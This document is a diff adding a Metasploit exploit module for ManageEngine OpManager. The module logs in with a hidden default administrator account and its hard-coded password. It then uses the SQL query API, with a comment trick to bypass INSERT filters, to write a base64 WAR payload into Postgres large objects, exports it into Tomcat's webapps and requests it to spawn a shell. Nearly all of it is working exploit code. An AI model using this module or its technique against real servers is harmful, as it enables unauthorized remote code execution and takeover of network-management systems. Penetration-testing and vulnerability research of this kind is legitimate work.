Land #5980, @xistence exploit for ManageEngine OpManager

modules/exploits/windows/http/manage_engine_opmanager_rce.rb

@@ -0,0 +1,180 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  # It removes large object in database, shoudn't be a problem, but just in case....
+  Rank = ManualRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::FileDropper
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => 'ManageEngine OpManager Remote Code Execution',
+      'Description'    => %q{
+        This module exploits a default credential vulnerability in ManageEngine OpManager, where a
+        default hidden account "IntegrationUser" with administrator privileges exists. The account
+        has a default password of "plugin" which can not be reset through the user interface. By
+        log-in and abusing the default administrator's SQL query functionality, it's possible to
+        write a WAR payload to disk and trigger an automatic deployment of this payload. This
+        module has been tested successfully on OpManager v11.5 and v11.6 for Windows.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'xistence <xistence[at]0x90.nl>' # Discovery, Metasploit module
+        ],
+      'References'     =>
+        [
+          [ 'EDB', '38174' ],
+        ],
+      'Platform'       => ['java'],
+      'Arch'           => ARCH_JAVA,
+      'Targets'        =>
+        [
+          ['ManageEngine OpManager v11.6', {}]
+        ],
+      'Privileged'     => false,
+      'DisclosureDate' => 'Sep 14 2015',
+      'DefaultTarget'  => 0))
+  end
+
+  def uri
+    target_uri.path
+  end
+
+  def check
+    # Check version
+    vprint_status("#{peer} - Trying to detect ManageEngine OpManager")
+
+    res = send_request_cgi({
+      'method' => 'GET',
+      'uri'    => normalize_uri(uri, 'LoginPage.do')
+    })
+
+    unless res && res.code == 200
+      return Exploit::CheckCode::Safe
+    end
+
+    if res.body =~ /OpManager.*v\.([0-9]+\.[0-9]+)<\/span>/
+      version = $1
+      if Gem::Version.new(version) <= Gem::Version.new('11.6')
+        return Exploit::CheckCode::Appears
+      else
+        # Patch unknown
+        return Exploit::CheckCode::Detected
+      end
+    elsif res.body =~ /OpManager/
+      return Exploit::CheckCode::Detected
+    else
+      return Exploit::CheckCode::Safe
+    end
+  end
+
+  def sql_query( key, query )
+    res = send_request_cgi({
+      'method' => 'POST',
+      'uri'    => normalize_uri(uri, 'api', 'json', 'admin', 'SubmitQuery'),
+      'vars_get' => { 'apiKey' => key },
+      'vars_post'   => { 'query' => query }
+    })
+
+    unless res && res.code == 200
+      fail_with(Failure::Unknown, "#{peer} - Query was not succesful!")
+    end
+
+    res
+  end
+
+  def exploit
+    print_status("#{peer} - Access login page")
+    res = send_request_cgi({
+      'method' => 'POST',
+      'uri'    => normalize_uri(uri, 'jsp', 'Login.do'),
+      'vars_post' => {
+        'domainName' => 'NULL',
+        'authType' => 'localUserLogin',
+        'userName' => 'IntegrationUser', # Hidden user
+        'password' => 'plugin' # Password of hidden user
+      }
+    })
+
+    if res && res.code == 302
+      redirect =  URI(res.headers['Location']).to_s.gsub(/#\//, "")
+      print_status("#{peer} - Location is [ #{redirect} ]")
+    else
+      fail_with(Failure::Unknown, "#{peer} - Access to login page failed!")
+    end
+
+
+    # Follow redirection process
+    print_status("#{peer} - Following redirection")
+    res = send_request_cgi({
+      'uri' => redirect,
+      'method' => 'GET'
+    })
+
+    if res && res.code == 200 && res.body =~ /window.OPM.apiKey = "([a-z0-9]+)"/
+      api_key = $1
+      print_status("#{peer} - Retrieved API key [ #{api_key} ]")
+    else
+      fail_with(Failure::Unknown, "#{peer} - Redirect failed!")
+    end
+
+    app_base = rand_text_alphanumeric(4 + rand(32 - 4))
+    war_payload = payload.encoded_war({ :app_name => app_base }).to_s
+    war_payload_base64 = Rex::Text.encode_base64(war_payload).gsub(/\n/, '')
+
+    print_status("#{peer} - Executing SQL queries")
+
+    # Remove large object in database, just in case it exists from previous exploit attempts
+    sql = 'SELECT lo_unlink(-1)'
+    sql_query(api_key, sql)
+
+    # Create large object "-1". We use "-1" so we will not accidently overwrite large objects in use by other tasks.
+    sql = 'SELECT lo_create(-1)'
+    result = sql_query(api_key, sql)
+    if result.body =~ /lo_create":([0-9]+)}/
+      lo_id = $1
+    else
+      fail_with(Failure::Unknown, "#{peer} - Postgres Large Object ID not found!")
+    end
+
+    # Insert WAR payload into the pg_largeobject table. We have to use /**/ to bypass OpManager'sa checks for INSERT/UPDATE/DELETE, etc.
+    sql = "INSERT/**/INTO pg_largeobject (loid,pageno,data) VALUES(#{lo_id}, 0, DECODE('#{war_payload_base64}', 'base64'))"
+    sql_query(api_key, sql)
+
+    # Export our large object id data into a WAR file
+    sql = "SELECT lo_export(#{lo_id}, '..//..//tomcat//webapps//#{app_base}.war');"
+    sql_query(api_key, sql)
+
+    # Remove our large object in the database
+    sql = 'SELECT lo_unlink(-1)'
+    sql_query(api_key, sql)
+
+    register_file_for_cleanup("tomcat//webapps//#{app_base}.war")
+    register_file_for_cleanup("tomcat//webapps//#{app_base}")
+
+    10.times do
+      select(nil, nil, nil, 2)
+
+      # Now make a request to trigger the newly deployed war
+      print_status("#{peer} - Attempting to launch payload in deployed WAR...")
+      res = send_request_cgi(
+        {
+          'uri'    => normalize_uri(target_uri.path, app_base, "#{Rex::Text.rand_text_alpha(rand(8) + 8)}.jsp"),
+          'method' => 'GET'
+        })
+      # Failure. The request timed out or the server went away.
+      break if res.nil?
+      # Success! Triggered the payload, should have a shell incoming
+      break if res.code == 200
+    end
+
+  end
+
+end